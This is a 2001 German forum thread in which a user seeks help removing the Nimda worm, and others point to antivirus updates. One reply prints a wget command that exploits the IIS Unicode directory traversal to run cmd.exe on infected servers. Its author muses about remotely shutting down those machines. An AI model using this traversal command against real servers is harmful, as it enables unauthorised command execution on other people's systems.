w32.nimda.A@mm worm :(

Re: w32.nimda.A@mm worm :(

mjy@geizhals.at — Wed, 19 Sep 2001 17:54:01 GMT

Ich kann dir leider nicht helfen, aber ich wüßte gerne, wie man einen befallenen Server zum Stillstand bringt. Es gibt Tausende von Zugriffen pro Tag von diesen Kisten, das kostet CPU-Zeit und Bandbreite.

Immerhin kann man mit dem eingebauten backdoor des Virus schon spielen:

wget -O - 'http://befallener-server.com/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?+/c+dir d:\winnt\system32\'

funktioniert prächtig... Jetzt müßte man noch ein shutdown ausführen können...

Marinos J. Yannikos <mjy@geizhals.at>

_{Education is an admirable thing, but nothing that is worth knowing can be taught
-- Oscar Wilde}

Re(6): w32.nimda.A@mm worm :(

Ronald — Wed, 19 Sep 2001 17:40:47 GMT
jo danke..werd das dann daheim glei mal ausprobieren..die load.exe is anscheinend eh ne eigene virus datei...
___________________________
if u can´t eat or *PIEP* it....kill it

Re(5): w32.nimda.A@mm worm :(

aka47 — Wed, 19 Sep 2001 17:38:09 GMT
hast du dir meinen link schon angeschaut??(update)

MfG aka47

Re(2): w32.nimda.A@mm worm :(

Ronald — Wed, 19 Sep 2001 17:37:38 GMT
danke aka47!!!
___________________________
if u can´t eat or *PIEP* it....kill it

Re(4): w32.nimda.A@mm worm :(

Ronald — Wed, 19 Sep 2001 17:28:25 GMT
ja schon aber wenn die

datei c:\windows\system\load.exe isoliert ist, wird einiges nimmer gehen, oder
___________________________
if u can´t eat or *PIEP* it....kill it

Re(4): w32.nimda.A@mm worm :(

Ronald — Wed, 19 Sep 2001 17:28:24 GMT
ja schon aber wenn die

datei c:\windows\system\load.exe isoliert ist, wird einiges nimmer gehen, oder
___________________________
if u can´t eat or *PIEP* it....kill it

Re: w32.nimda.A@mm worm :(

aka47 — Wed, 19 Sep 2001 17:26:36 GMT
soweit ich weiß gibts hier ein update http://www.sarc.com/avcenter/venc/data/w32.nimda.a@mm.html

MfG aka47

Re(3): w32.nimda.A@mm worm :(

Krle — Wed, 19 Sep 2001 17:14:47 GMT
hmmm.... das versteh ich nicht... Ich konnte bis jetzt aller meiner viren löschen. Ich hab auch Norton. Aber solange es isolliert ist, kanns eh keinen schaden anfügen!!!
mfg Krle

Re(2): w32.nimda.A@mm worm :(

Ronald — Wed, 19 Sep 2001 17:06:20 GMT
nein!:.

hab Norton AV(neuestes update)...das kennt zwar, welcher Virus es ist, kann die datei aber nicht cleanen

___________________________
if u can´t eat or *PIEP* it....kill it

Re: w32.nimda.A@mm worm :(

Krle — Wed, 19 Sep 2001 16:39:03 GMT
Kann ihn dein Virus-Programm nicht löschen??
mfg Krle

w32.nimda.A@mm worm :(

Ronald — Wed, 19 Sep 2001 16:29:47 GMT
hab mir diesen wurm eingefangen, und weiß nicht wie ich den wieder los werden soll

kann mir da evtl jmd weiterhelfen?
___________________________
if u can´t eat or *PIEP* it....kill it